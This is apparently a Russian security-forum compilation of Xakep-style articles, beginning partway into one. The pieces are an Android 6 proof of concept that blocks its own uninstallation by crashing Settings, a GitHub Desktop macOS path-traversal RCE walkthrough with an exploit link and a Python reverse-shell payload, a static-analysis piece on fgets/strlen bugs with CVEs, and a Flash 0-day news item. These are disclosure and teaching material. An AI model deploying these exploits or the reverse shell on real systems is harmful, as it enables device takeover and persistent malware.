Как бы то ни было, после этих нехитрых манипуляций с настройками при любой попытке удалить наше приложение из системы компонент settings.apk с треском и грохотом падает, не позволяя завершить начатое. А программа как ни в чем не бывало продолжает работать, причем с правами администратора. Как это происходит, можно увидеть на представленном ниже скринкасте.
В результате удалить приложение с устройства становится невозможно ни штатными
средствами операционной системы, ни с использованием антивирусных программ. На
анимации этот замечательный эффект продемонстрирован более чем наглядно. А вот
как выглядит в описываемом нами случае crash report самого settings.apk
Code:Copy to clipboard
AndroidRuntime: FATAL EXCEPTION: main
Process: com.android.settings, PID: 22149
java.lang.RuntimeException: Unable to resume activity {com.android.settings/com.android.settings.DeviceAdminAdd}: java.lang.SecurityException: com.eicar from uid 11376 not allowed to perform SYSTEM_ALERT_WINDOW
at android.app.ActivityThread.performResumeActivity(ActivityThread.java:3103)
at android.app.ActivityThread.handleResumeActivity(ActivityThread.java:3134)
at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:2481)
at android.app.ActivityThread.-wrap11(ActivityThread.java)
at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1344)
at android.os.Handler.dispatchMessage(Handler.java:102)
at android.os.Looper.loop(Looper.java:148)
at android.app.ActivityThread.main(ActivityThread.java:5417)
at java.lang.reflect.Method.invoke(Native Method)
at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:726)
at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:616)
Caused by: java.lang.SecurityException: com.eicar from uid 11376 not allowed to perform SYSTEM_ALERT_WINDOW
at android.app.AppOpsManager.checkOp(AppOpsManager.java:1521)
at com.android.settings.DeviceAdminAdd.onResume(DeviceAdminAdd.java:384)
at android.app.Instrumentation.callActivityOnResume(Instrumentation.java:1258)
at android.app.Activity.performResume(Activity.java:6327)
at android.app.ActivityThread.performResumeActivity(ActivityThread.java:3092)
at android.app.ActivityThread.handleResumeActivity(ActivityThread.java:3134)
at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:2481)
at android.app.ActivityThread.-wrap11(ActivityThread.java)
at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1344)
at android.os.Handler.dispatchMessage(Handler.java:102)
at android.os.Looper.loop(Looper.java:148)
at android.app.ActivityThread.main(ActivityThread.java:5417)
at java.lang.reflect.Method.invoke(Native Method)
at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:726)
at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:616)
Из него мы можем сделать вывод, что наше приложение вызывает FATAL EXCEPTION в процессе com.android.settings. Ошибка возникает в кривом обработчике проверки наличия прав администратора у приложений. Краш происходит как раз в момент проверки разрешений, которые имеются у программы. В результате com.android.settings падает, а процедура удаления приложения прерывается.
Proof of concept
Чтобы продемонстрировать принцип эксплуатации этой системной ошибки, мы создали небольшое приложение. За основу был взят файл EICAR, при помощи которого тестируется работоспособность антивирусных программ. Вот как работает это приложение.
Для начала создадим Activity, с использованием которого можно назначить и отозвать администраторские привилегии для нашего приложения.
Code:Copy to clipboard
package com.eicar;
import android.app.admin.DeviceAdminReceiver;
import android.content.Context;
import android.content.Intent;
public class DeviceAdmin extends DeviceAdminReceiver {
private static final String ADMIN_DISABLE="android.app.action.DEVICE_ADMIN_DISABLE_REQUESTED";
public void onReceive(final Context context, Intent intent) {
if (intent.getAction().equals(ADMIN_DISABLE)) {}
}
}
А вот исходники основного Activity:
Code:Copy to clipboard
package com.eicar;
import android.app.Activity;
import android.app.admin.DevicePolicyManager;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.net.Uri;
import android.os.Build;
import android.provider.Settings;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import android.widget.TextView;
import android.widget.Toast;
public class MainActivity extends AppCompatActivity {
TextView textView;
Button button;
private static final int OVERLAY_PERMISSION_REQ_CODE =0;
boolean isTry;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
isTry=false;
setContentView(R.layout.activity_main);
textView = findViewById(R.id.text);
if (Build.VERSION.SDK_INT != 23) {
textView.setText("it works only on android 6");
return;
}
button = findViewById(R.id.button);
button.setVisibility(View.VISIBLE);
}
public boolean startDeviceAdmin(Activity activity, int ActivityResultCode) {
if(!isDeviceAdmin()){
ComponentName mDeviceAdmin = new ComponentName(activity, DeviceAdmin.class);
Intent intent = new Intent(DevicePolicyManager.ACTION_ADD_DEVICE_ADMIN);
intent.putExtra(DevicePolicyManager.EXTRA_DEVICE_ADMIN, mDeviceAdmin);
intent.putExtra(DevicePolicyManager.EXTRA_ADD_EXPLANATION,"Activate Device Admin");
activity.startActivityForResult(intent,ActivityResultCode);
return true;
}
return false;
}
private boolean isDeviceAdmin() {
DevicePolicyManager mDPM = (DevicePolicyManager)getSystemService(Context.DEVICE_POLICY_SERVICE);
ComponentName mDeviceAdmin = new ComponentName(this, DeviceAdmin.class);
return mDPM != null && mDPM.isAdminActive(mDeviceAdmin);
}
@Override
protected void onResume(){
super.onResume();
if(!isDeviceAdmin()) {
textView.setText("Click button and activate Device Admin");
button.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
startDeviceAdmin(MainActivity.this, 0);
}
});
} else if(isTry==false) {
textView.setText("Enable and then disable 'Draw over' setting");
button.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
try {
isTry = true;
Intent intent = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION, Uri.parse("package:" + getPackageName()));
startActivityForResult(intent, OVERLAY_PERMISSION_REQ_CODE);
} catch (Exception ex) {
Toast.makeText(MainActivity.this, "Your device does not support floating windows.", Toast.LENGTH_LONG).show();
}
}
});
} else if(isTry==true&&!Settings.canDrawOverlays(this)) {
textView.setText("Try to delete me :)");
}
}
}
Как говорится, пристегните ремни и наслаждайтесь полетом.
Выводы
Несмотря на то что все приложения в Android выполняются в песочнице, что теоретически должно исключить доступ к их данным извне, а также существенно повысить безопасность системы в целом, при должном творческом подходе это самое понятие безопасности становится весьма относительным.
В этой статье мы рассмотрели только один частный случай эксплуатации ошибки в системном компоненте одной конкретной версии Android. Причем эта ошибка влечет за собой весьма неприятные последствия для пользователя: он лишается возможности удалить приложение, которое может нести в себе опасность, а антивирусы становятся в подобной ситуации совершенно бессильны.
Обойти описанную в статье проблему можно очень просто: нужно всего лишь вернуть приложению разрешение Draw Over, которое позволяет рисовать экранные формы поверх других окон. Тогда падения settings.apk не произойдет, и «неудаляемую» программу можно будет без труда деинсталлировать с устройства. Основная проблема кроется в том, что догадаться об этом без подсказки не сможет ни пользователь, ни тем более антивирус.
Сколько подобных ошибок кроется в недрах более современных реализаций Android, не знает, наверное, никто. Поэтому традиционные методы обеспечения безопасности мобильных устройств не теряют своей актуальности: нужно следить за тем, что и откуда пользователь устанавливает на свое устройство, и периодически включать голову, чтобы случайно не выдать какому-нибудь трояну права администратора.
автор Valentin Holmogorov
хакер.ру
Ловушка на маковода. Как работает уязвимость в клиенте GitHub для macOS
В клиенте GitHub для macOS до версии 1.3.4 beta 1 нашлась возможность вызвать удаленное выполнение произвольных команд простым переходом по специально сформированной ссылке. В этой статье я расскажу о причинах возникновения и способах эксплуатации этой уязвимости.
Баг нашел Андре Баптиста (André Baptista) в рамках ивента H1-702 2018. Уязвимость заключается в некорректном механизме обработки кастомной URL-схемы x-github-client://, с помощью которой происходит общение с приложением.
Тестовый стенд
Так как сегодня рассматриваемая уязвимость работает только в macOS, все
манипуляции будут производиться в ней. Я скачал виртуальную машину для VMware
с macOS 10.14.1 Mojave на одном всем известном трекере.
![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp-
content%2Fuploads%2F2019%2F01%2F202852%2Fvmware-macos-mojave-
about.jpg&hash=cfad2502ea6fb8c5c7405128da7f3913)
Информация о виртуалке с macOS
Теперь нужно установить XCode и менеджер пакетов brew.
Code:Copy to clipboard
$ /usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"
Разработчики GitHub не предоставляют возможность скачивать старые версии приложения. Поэтому придется компилировать его из исходников. Клонируем репозиторий с десктопным клиентом GitHub и не забываем, что последняя уязвимая версия — 1.3.4 beta 0, ее мы и будем использовать.
Code:Copy to clipboard
$ git clone --depth=1 -b release-1.3.4-beta0 https://github.com/desktop/desktop.git
Клиент разработан на основе фреймворка Electron и написан на TypeScript с использованием React. А это значит, что нам понадобится Node.js с кучей библиотек. Чтобы понять, как скомпилировать приложение, можно заглянуть в файл appveyor.yml. Это конфигурационный файл для сервиса системы непрерывной интеграции (CI) с таким же названием AppVeyor.
/desktop-release-1.3.4-beta0/appveyor.yml
Code:Copy to clipboard
install:
- cmd: regedit /s script\default-to-tls12-on-appveyor.reg
- ps: Install-Product node $env:nodejs_version $env:platform
- git submodule update --init --recursive
- yarn install --force
Git у нас уже имеется, а вот менеджер пакетов yarn нужно установить с помощью brew.
Code:Copy to clipboard
$ brew install yarn
Он уже идет в комплекте с Node, но имеющаяся версия слишком нова для нашего проекта.
/desktop-release-1.3.4-beta0/appveyor.yml
Code:Copy to clipboard
environment:
nodejs_version: '8.11'
![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp-
content%2Fuploads%2F2019%2F01%2F202852%2Fmac-os-yarn-
installation.jpg&hash=36c918bead6de80712129c056f967bda)
Установка менеджера пакетов yarn
Поэтому устанавливаем версию из ветки 8.х.
Code:Copy to clipboard
$ brew install node@8
Затем заменяем версию «Ноды» на более старую с помощью команд link/unlink.
Code:Copy to clipboard
$ brew unlink node
$ brew link node@8 --force --overwrite
![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp-
content%2Fuploads%2F2019%2F01%2F202852%2Fmac-os-switch-node-
version.jpg&hash=4a27fe240a02d479bc7d945f7ee21446)
Даунгрейд версии Node с 11.х до 8.х для корректной компиляции
Все готово для компиляции. Сначала последовательно выполняем команды из раздела install. Это подгрузит все необходимые зависимости и пакеты.
Code:Copy to clipboard
$ git submodule update --init --recursive
$ yarn install --force
![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp-
content%2Fuploads%2F2019%2F01%2F202852%2Fgithub-desktop-install-
packages.jpg&hash=23f5b6ec94bed10162152de019e4e088)
Установка зависимостей для компиляции GitHub Desktop
После этого переключаемся на команды из раздела build_script.
/desktop-release-1.3.4-beta0/appveyor.yml
Code:Copy to clipboard
build_script:
- yarn lint
- yarn validate-changelog
- yarn build:prod
Причем первые две можно пропустить и обойтись только последней.
Code:Copy to clipboard
$ yarn build:prod
![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp-
content%2Fuploads%2F2019%2F01%2F202852%2Fgithub-desktop-build-
success.jpg&hash=24ca5e8ce0af69b29026df5925eb056d)
Успешная компиляция десктопного приложения GitHub под macOS
Теперь в директории /dist/GitHub Desktop-darwin-x64/GitHub Desktop.appнаходится готовое приложение. Можно скопировать его в папку Applications и запустить.
![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp-
content%2Fuploads%2F2019%2F01%2F202852%2Fgithub-desktop-about-
window.jpg&hash=7ed7e952254739c12ee4fd9017683f42)
Окно About приложения GitHub Desktop для macOS
Пройди начальную настройку, и стенд готов.
Детали уязвимости
Посмотрим на исходники. Нас интересует, какие протоколы регистрирует
приложение.
/desktop-release-1.3.4-beta0/script/build.ts
Code:Copy to clipboard
160: // macOS
161: appBundleId: getBundleID(),
162: appCategoryType: 'public.app-category.developer-tools',
163: osxSign: true,
164: protocols: [
165: {
166: name: getBundleID(),
167: schemes: [
168: isPublishableBuild
169: ? 'x-github-desktop-auth'
170: : 'x-github-desktop-dev-auth',
171: 'x-github-client',
172: 'github-mac',
173: ],
174: },
175: ],
Интерес представляет схема x-github-client. С ее помощью ты можешь общаться с приложением, отправлять различные команды и запросы, а они будут обработаны согласно зашитой логике. Посмотрим, какие методы можно использовать через данную схему.
/desktop-release-1.3.4-beta0/app/src/lib/parse-app-url.ts
Code:Copy to clipboard
073: export function parseAppURL(url: string): URLActionType {
074: const parsedURL = URL.parse(url, true)
075: const hostname = parsedURL.hostname
...
083: const actionName = hostname.toLowerCase()
084: if (actionName === 'oauth') {
...
104: if (actionName === 'openrepo') {
...
138: if (actionName === 'openlocalrepo') {
Давай заценим живой пример общения с десктопным приложением. Сначала авторизуемся и в приложении, и в браузере одним и тем же пользователем. Теперь откроем любой репозиторий на гитхабе. Я открою свой, потому что я нарцисс. Обрати внимание на кнопку клонирования — ее можно развернуть. Под катом расположились опции, среди которых Open in desktop. Если открыть консоль разработчика и посмотреть на ссылку данной кнопки, то увидишь нашу схему x-github-client для общения с приложением.
![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp-
content%2Fuploads%2F2019%2F01%2F202852%2Fgithub-open-in-desktop-
link.jpg&hash=ff1ede76477e786feeb4f8484812042a)
Ссылка на открытие репозитория в десктопном клиенте GitHub
С помощью метода openrepo попробуем открыть репозиторий в приложении, и если его нет, то всплывающее окошко предложит его клонировать на локальную машину. Сделаем это.
![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp-
content%2Fuploads%2F2019%2F01%2F202852%2Fgithub-desktop-app-clone-
repo.jpg&hash=4444e85110f23ae2d215d845e56eba16)
Клонирование репозитория в приложение GitHub Desktop
Подобная иконка имеется и при просмотре отдельных файлов репозитория.
![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp-
content%2Fuploads%2F2019%2F01%2F202852%2Fgithub-open-file-in-desktop-app-
link.jpg&hash=38f5ecc3207d7de0dde24f8b4b7a4205)
Ссылка на открытие отдельного файла репозитория в приложении GitHub
Здесь она имеет уже более интересный вид:
Code:Copy to clipboard
x-github-client://openRepo/https://github.com/allyshka/scripts?branch=master&filepath=pam_steal%2FREADME.md
В параметре filepath расположился путь до файла относительно репозитория. Если репозиторий уже клонирован и файл имеется на диске, то при обработке такой ссылки откроется Finder в соответствующей папке.
/desktop-release-1.3.4-beta0/app/src/lib/parse-app-url.ts
Code:Copy to clipboard
104: if (actionName === 'openrepo') {
105: const probablyAURL = parsedPath
106:
107: // suffix the remote URL with `.git`, for backwards compatibility
108: const url = `${probablyAURL}.git`
109:
110: const pr = getQueryStringValue(query, 'pr')
111: const branch = getQueryStringValue(query, 'branch')
112: const filepath = getQueryStringValue(query, 'filepath')
...
129: return {
130: name: 'open-repository-from-url',
131: url,
132: branch,
133: pr,
134: filepath,
135: }
/desktop-release-1.3.4-beta0/app/src/lib/dispatcher/dispatcher.ts
Code:Copy to clipboard
841: case 'open-repository-from-url':
842: const { pr, url, branch } = action
...
846: const branchToClone = pr && branch ? null : branch || null
847: const repository = await this.openRepository(url, branchToClone)
848: if (repository) {
849: this.handleCloneInDesktopOptions(repository, action)
/desktop-release-1.3.4-beta0/app/src/lib/dispatcher/dispatcher.ts
Code:Copy to clipboard
928: private async handleCloneInDesktopOptions(
929: repository: Repository,
930: action: IOpenRepositoryFromURLAction
...
959: if (filepath != null) {
960: const fullPath = Path.join(repository.path, filepath)
961: // because Windows uses different path separators here
962: const normalized = Path.normalize(fullPath)
963: shell.showItemInFolder(normalized)
964: }
/desktop-release-1.3.4-beta0/app/src/lib/app-shell.ts
Code:Copy to clipboard
14: export const shell: IAppShell = {
...
29: showItemInFolder: path => {
30: ipcRenderer.send('show-item-in-folder', { path })
31: },
/desktop-release-1.3.4-beta0/app/src/main-process/main.ts
Code:Copy to clipboard
362: ipcMain.on(
363: 'show-item-in-folder',
364: (event: Electron.IpcMessageEvent, { path }: { path: string }) => {
365: Fs.stat(path, (err, stats) => {
...
371: if (stats.isDirectory()) {
372: openDirectorySafe(path)
373: } else {
374: shell.showItemInFolder(path)
375: }
376: })
377: }
«Вижу путь — пробую path traversal» — таков девиз. Немного поигравшись с параметром, обнаруживаем, что уязвимость данного типа действительно присутствует. Например, при переходе по такой ссылке будет запущен калькулятор:
Code:Copy to clipboard
x-github-client://openRepo/https://github.com/allyshka/scripts?branch=master&filepath=../../../../../../../../../../../Applications/Calculator.app
Все потому, что проверка stats.isDirectory() отрабатывает в macOS, так как там приложения — это обычные папки, которые по-особенному обрабатываются системой. А дальше в теле функции openDirectorySafe вызывается встроенный во фреймворк Еlectron метод openExternal, где в качестве аргументов используется схема file:/// и переданный filepath.
/desktop-release-1.3.4-beta0/app/src/main-process/shell.ts
Code:Copy to clipboard
2: import { shell } from 'electron'
...
13: export function openDirectorySafe(path: string) {
14: if (__DARWIN__) {
15: const directoryURL = Url.format({
16: pathname: path,
17: protocol: 'file:',
18: slashes: true,
19: })
20:
21: shell.openExternal(directoryURL)
22: } else {
23: shell.openItem(path)
24: }
25: }
Теперь взглянем на патч-коммит под символичным названием macOS is a special.
![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp-
content%2Fuploads%2F2019%2F01%2F202852%2Fgithub-desktop-app-rce-
patch.jpg&hash=d7a1597a598c7effbe1f4f32ca29a589)
Патчи RCE-уязвимости в клиенте GitHub для macOS
/desktop-release-1.3.4-beta1/app/src/main-process/main.ts
Code:Copy to clipboard
371: if (!__DARWIN__ && stats.isDirectory()) {
372: openDirectorySafe(path)
Добавленная проверка теперь не дает методу openExternal отработать в macOS.
Для эксплуатации уязвимости с минимальным участием юзера, в один клик, нужно, чтобы у пользователя уже был клонирован твой репозиторий и стояла опция, которая по дефолту разрешает открывать ссылки типа x-github-client в GitHub Desktop.
Простейший пейлоад можно накидать в виде скрипта на Python.
poc.py
Code:Copy to clipboard
import socket,subprocess,os;
os.system("open -a calculator.app")
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("localhost",1337));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
Здесь мы открываем калькулятор для наглядности и кидаем бэкконнект на порт 1337. Скомпилируем код в приложение при помощи PyInstaller.
Code:Copy to clipboard
curl https://bootstrap.pypa.io/get-pip.py -o get-pip.py
python get-pip.py --user
pip install pyinstaller --user
pyinstaller -w poc.py
mv dist/poc.app/ .
Затем создаем репозиторий, в который кладем наше приложение-пейлоад. Теперь нужно заставить пользователя кликнуть на ссылку, которая клонирует его и запустит нужную полезную нагрузку.
Для этих целей Андре Баптиста сделал приятную HTML- страничку. Ссылка ведет на его репозиторий, в котором лежит такое же приложение, что мы компилировали выше.
Code:Copy to clipboard
x-github-client://openRepo/https://github.com/0xACB/github-desktop-poc?branch=master&filepath=osx/evil-app/rce.app
![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp-
content%2Fuploads%2F2019%2F01%2F202852%2Fgithub-desktop-
poc.jpg&hash=43709a644f13922c99fd04caa5e5d9ba)
Эксплоит для GitHub Desktop
После клика на Clone эксплоит успешно отрабатывает.
![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp-
content%2Fuploads%2F2019%2F01%2F202852%2Fgithub-desktop-rce-
poc.jpg&hash=43e6839d4603b37ef6b4f10cc4dbced0)
Успешная эксплуатация приложения GitHub Desktop в macOS
Демонстрация уязвимости (видео)
Вывод
Итак, мы разобрались в уязвимости приложения GitHub, которое написано на
Electron, и научились эксплуатировать ее. Ты узнал, что клик по безобидной
ссылке может привести к полной компрометации системы. Думаю, что в коде этого
клиента можно найти еще много чего интересного, так что дерзай — ребята дают
неплохие вознаграждения. А пока обновляйся и не кликай на подозрительные
ссылки.
Автор: aLLy (iamsecurity)
хакер.ру
Стреляем в ногу, обрабатывая входные данные
Связующее звено сегодняшней статьи отличается от обычного. Это не один проект, для которого был проведён анализ исходного кода, а ряд срабатываний одного и того же диагностического правила в нескольких разных проектах. В чём здесь интерес? В том, что некоторые из рассмотренных фрагментов кода содержат ошибки, воспроизводимые при работе с приложением, а другие – и вовсе уязвимости (CVE). Кроме того, в конце статьи немного порассуждаем на тему дефектов безопасности.
Краткое предисловие
Все ошибки, которые будут рассмотрены сегодня в статье, имеют схожий паттерн:
Тем не менее, все фрагменты, которые будут рассмотрены, содержат в себе ошибки и уязвимы к подстроенному вводу. Так как данные принимаются от пользователя, который и может нарушить логику исполнения приложения, был велик соблазн попробовать что-нибудь сломать. Что я и сделал.
Все проблемы, приведённые ниже, были обнаружены статическим анализатором PVS- Studio, который ищет ошибки в коде не только для C, C++, но и для C#, Java.
Конечно, найти проблему статическим анализатором – хорошо, но найти и воспроизвести – это уже совершенно другой уровень удовольствия.
FreeSWITCH
Первый подозрительный фрагмент кода был обнаружен в коде модуля fs_cli.exe , входящего в состав дистрибутива FreeSWITCH:
Code:Copy to clipboard
static const char *basic_gets(int *cnt)
{
....
int c = getchar();
if (c < 0) {
if (fgets(command_buf, sizeof(command_buf) - 1, stdin)
!= command_buf) {
break;
}
command_buf[strlen(command_buf)-1] = '\0'; /* remove endline */
break;
}
....
}
Предупреждение PVS-Studio : CWE-20 Unchecked tainted data is used in index: 'strlen(command_buf)'.
Анализатор предупреждает о подозрительном обращении по индексу к массиву command_buf. Подозрительным оно считается по той причине, что в качестве индекса используются непроверенные внешние данные. Внешние – потому что получены через функцию fgets из потока stdin. Непроверенными — так как никакой проверки перед использованием выполнено не было. Выражение fgets(command_buf, ....) != command_buf — не в счёт, так как таким образом мы проверяем только факт получения данных, но не их содержимое.
Проблема данного кода в том, что при определённых условиях произойдёт запись '\0' за пределы массива, что приведёт к возникновению неопределённого поведения. Для этого достаточно ввести строку нулевой длины (строку нулевой длины с точки зрения языка Си, то есть такую, в которой первым символом будет '\0').
Давайте прикинем, что произойдёт, если передать на вход строку нулевой длины:
Упс!
Интересно здесь то, что это предупреждение анализатора вполне себе можно «пощупать руками». Для того, чтобы повторить проблему, нужно:
Немного покопавшись в исходниках, я составил конкретную последовательность воспроизведения проблемы:
Ниже приводится видеозапись воспроизведения проблемы:
NcFTP
В проекте NcFTP была обнаружена аналогичная проблема, только встретилась она уже в двух местах. Так как код выглядит похоже, рассмотрим только одно проблемное место:
Code:Copy to clipboard
static int NcFTPConfirmResumeDownloadProc(....)
{
....
if (fgets(newname, sizeof(newname) - 1, stdin) == NULL)
newname[0] = '\0';
newname[strlen(newname) - 1] = '\0';
....
}
Предупреждение PVS-Studio : CWE-20 Unchecked tainted data is used in index: 'strlen(newname)'.
Здесь, в отличии от примера из FreeSWITCH, код написан хуже и больше подвержен проблемам. Например, запись '\0' происходит вне зависимости от того, успешно произошло считывание с использованием fgets или нет. То есть здесь даже больше возможностей того, как можно нарушить нормальную логику исполнения. Пойдём проверенным путём – через строки нулевой длины.
Воспроизводится проблема немного сложнее, чем в случае с FreeSWITCH. Последовательность шагов описана ниже:
Воспроизведение проблемы также записано на видео:
OpenLDAP
В проекте OpenLDAP (точнее – в одной из сопутствующих утилит) наступили на те же грабли, что и во FreeSWITCH. Попытка удаления символа переноса строки происходит только при условии, что строка была считана успешно, но защиты от строк нулевой длины также нет.
Фрагмент кода:
Code:Copy to clipboard
int main( int argc, char **argv )
{
char buf[ 4096 ];
FILE *fp = NULL;
....
if (....) {
fp = stdin;
}
....
if ( fp == NULL ) {
....
} else {
while ((rc == 0 || contoper)
&&
fgets(buf, sizeof(buf), fp) != NULL) {
buf[ strlen( buf ) - 1 ] = '\0'; /* remove trailing newline */
if ( *buf != '\0' ) {
rc = dodelete( ld, buf );
if ( rc != 0 )
retval = rc;
}
}
}
....
}
Предупреждение PVS-Studio : CWE-20 Unchecked tainted data is used in index: 'strlen(buf)'.
Выкинем лишнее, чтобы суть проблемы стала более очевидна:
Code:Copy to clipboard
while (.... && fgets(buf, sizeof(buf), fp) != NULL) {
buf[ strlen( buf ) - 1 ] = '\0';
....
}
Этот код лучше, чем в NcFTP, но всё равно является уязвимым. Если при запросе fgets передать на вход строку нулевой длины:
libidn
Несмотря на то, что ошибки, разобранные выше, достаточно интересны (они стабильно воспроизводятся, и их можно 'пощупать' (разве что до воспроизведения проблемы на OpenLDAP у меня руки не дотянулись)), уязвимостями их назвать нельзя хотя бы по той причине, что проблемам не присвоены CVE-идентификаторы.
Тем не менее, такой же паттерн проблемы имеют и некоторые настоящие уязвимости. Оба фрагмента кода, приведённые ниже, относятся к проекту libidn.
Фрагмент кода:
Code:Copy to clipboard
int main (int argc, char *argv[])
{
....
else if (fgets (readbuf, BUFSIZ, stdin) == NULL)
{
if (feof (stdin))
break;
error (EXIT_FAILURE, errno, _("input error"));
}
if (readbuf[strlen (readbuf) - 1] == '\n')
readbuf[strlen (readbuf) - 1] = '\0';
....
}
Предупреждение PVS-Studio : CWE-20 Unchecked tainted data is used in index: 'strlen(readbuf)'.
Ситуация похожа, за исключением того, что в отличии от предыдущих примеров, где осуществлялась запись по индексу -1 , здесь происходит чтение. Тем не менее, это всё ещё undefined behavior. Данная ошибка удостоилась собственного идентификатора CVE ([CVE-2015-8948](https://cve.mitre.org/cgi- bin/cvename.cgi?name=CVE-2015-8948)).
После обнаружения проблемы данный код изменили следующим образом:
Code:Copy to clipboard
int main (int argc, char *argv[])
{
....
else if (getline (&line, &linelen, stdin) == -1)
{
if (feof (stdin))
break;
error (EXIT_FAILURE, errno, _("input error"));
}
if (line[strlen (line) - 1] == '\n')
line[strlen (line) - 1] = '\0';
....
}
Немного удивлены? Бывает. Новая уязвимость, соответствующий идентификатор CVE: CVE-2016-6262.
Предупреждение PVS-Studio : CWE-20 Unchecked tainted data is used in index: 'strlen(line)'.
С очередной попытки проблему поправили, добавив проверку длины входной строки:
Code:Copy to clipboard
if (strlen (line) > 0)
if (line[strlen (line) - 1] == '\n')
line[strlen (line) - 1] = '\0';
Давайте взглянем на даты. Коммит, 'закрывающий' CVE-2015-8948 – 10.08.2015. Коммит, закрывающий CVE-2016-62-62 – 14.01.2016. То есть разница между приведёнными исправлениями составляет 5 месяцев! Вот тут-то вспоминаешь про такое преимущество статического анализа, как обнаружение ошибок на ранних этапах написания кода…
Статический анализ и безопасность
Дальше примеров кода не будет, вместо этого – статистика и рассуждения. В этом разделе мнение автора может не совпадать с мнением читателя куда больше, чем раньше в этой статье.
Давайте посмотрим на статистику по количеству обнаруженных за последние 10 лет уязвимостей, чтобы оценить ситуацию. Данные я взял с сайта CVE Details.
Интересная вырисовывается ситуация. До 2014 года количество зафиксированных CVE не превышало отметки в 6000 единиц, а начиная с – уже не опускалось ниже. Но самым интересным здесь, конечно, выглядит статистика за 2017 год – абсолютный лидер (14714 единиц). Что касается текущего – 2018 – года, он хоть ещё не закончился, но уже бьёт рекорды – 15310 единиц.
Значит ли это, что весь новый софт дырявый как решето? Не думаю, и вот почему:
Так что складывающуюся тенденцию нельзя назвать исключительно отрицательной – издатели больше заботятся об информационной безопасности, инструменты поиска проблем совершенствуются, а всё это, несомненно, позитивно.
Значит ли это, что можно расслабиться и «не париться»? Думаю, нет. Если вас беспокоит тема безопасности ваших приложений, следует принимать как можно больше мер по обеспечению безопасности. Особенно это актуально, если исходный код находится в открытом доступе, так как он:
Не хочу сказать, что не нужно переводить свои проекты под open source. Просто следует не забывать о надлежащих мерах контроля качества / безопасности.
Является ли статический анализ такой дополнительной мерой? Да. Статический анализ хорошо справляется с обнаружением потенциальных уязвимостей, которые в дальнейшем могут стать вполне реальными.
Мне кажется (допускаю, что ошибаюсь), что многие считают уязвимости явлением достаточно высокоуровневым. И да, и нет. Проблемы в коде, которые кажутся простыми ошибками программирования, тоже вполне могут быть серьёзными уязвимостями. Не следует недооценивать 'простые' ошибки.
Заключение
Не забывайте, что входные данные могут иметь нулевую длину, и это тоже нужно
учитывать.
Выводы по поводу того, является ли вся шумиха с уязвимостями просто шумихой,
или же проблема существует, делайте сами.
Всех благ!
Статья на английском: https://www.viva64.com/en/b/0599/
автор: Sergey Vasiliev
Разработчики Adobe
[выпустили](https://helpx.adobe.com/security/products/flash-
player/apsb18-42.html) внеочередной патч, устраняющий критические уязвимости
во Flash Player. Подробности о свежих 0-day проблемах уже опубликовали
аналитики компаний [Gigamon](https://atr-blog.gigamon.com/2018/12/05/adobe-
flash-zero-day-exploited-in-the-wild/) и Qihoo
360. Исследователи
рассказывают, что одну уязвимость комбинировали с документами Microsoft
Office, и баги позволяли повысить привилегии и выполнить произвольный код.
Специалисты пишут, что обнаружили вредоносный документ Word со встроенным
объектом Flash Active X, замаскированный под шаблон анкеты сотрудника на семи
страницах. С его помощью неизвестные, предположительно, атаковали или
собирались атаковать Поликлинику №2 Управления делами Президента Российской
Федерации.
Как видно на схеме ниже, вредоносный документ входил в состав архива. Если
жертва, открывшая такой документ, разрешала исполнение Flash Active X,
вредоносный код повышал свои привилегии и обращался к файлу JPG, также
входившему в состав упомянутого архива. В конец изображения был встроен еще
один архив RAR. Из этого архива извлекался файл EXE, который исполнялся в
системе, маскировался под Nvidia Control Panel и представлял собой простейший
бэкдор-троян.
Интересно, что вредоносный код напомнил экспертам обеих компаний о малвари
итальянской компании HackingTeam,
утекшей в открытый доступ в 2015 году.
Эксперты Qihoo 360 отмечают, что документ, эксплуатирующий 0-day и, судя по
всему, предназначенный для атаки на Поликлинику №2, был загружен на VirusTotal
всего через несколько дней после
инцидента
в Керченском проливе. Тем не менее, специалисты пока не делают выводов о том,
кто мог стоять за разработкой атаки. Не ясно даже, использовался ли
вредоносный документ для реальных атак и был загружен на VirusTotal жертвой,
или же его загрузили туда сами создатели.
Обнаруженные и срочно исправленные проблемы получили идентификаторы
CVE-2018-15982и
CVE-2018-15983.
Они были устранены с релизом Flash Player 32.0.0.101 для Windows, macOS, Linux
и Chrome OS.
Взято с Хакера.
Rowhammer атакует ECC
![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2018%2F12%2F197031%2Fdram.jpg&hash=9778ea6bbcffe096c72442d5e60b59c1)
